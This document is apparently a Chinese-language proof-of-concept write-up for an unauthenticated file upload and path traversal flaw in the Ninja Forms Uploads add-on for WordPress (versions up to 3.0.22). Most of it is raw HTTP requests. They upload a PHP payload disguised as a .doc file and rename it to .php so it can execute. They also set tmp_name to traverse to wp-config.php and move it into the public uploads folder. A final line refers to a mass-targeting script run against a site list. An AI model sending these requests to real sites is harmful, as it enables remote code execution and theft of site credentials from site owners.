(Wordpress) Ninja Forms 文件上传扩展 <= 3.0.22 – 未认证的任意文件上传
WordPress 的 Ninja Forms 插件(在激活 Uploads 附加组件的情况下)在 3.0.23 之前存在路径遍历和不受限制的文件上传漏洞。攻击者可通过 includes/fields/upload.php(即上传/提交页面)中的 name 和 tmp_name 参数遍历文件系统以访问文件并执行代码。
初始文件上传请求:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
响应:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
当表单被提交时,最初上传的临时文件(tmp 文件)会被移动到新位置:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
参数 “name” 随后会被 WordPress 的 sanitize_file_name 函数“清理”,该函数实际上只会移除一组预定义的特殊字符:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
这将导致临时文件被移动到其最终位置: /wp-content/uploads/ninja-forms/1/test.php
如果上传文件夹没有被显式地设置为不可执行(默认情况下并非如此),这将导致代码执行:

tmp_name 中的路径遍历:
提交表单时,还可以通过 tmp_name 参数遍历文件系统,如下所示。请记住,临时文件会被移动到上传文件夹内的新位置!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
这将导致 wp-config.php 文件被移动到以下位置: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt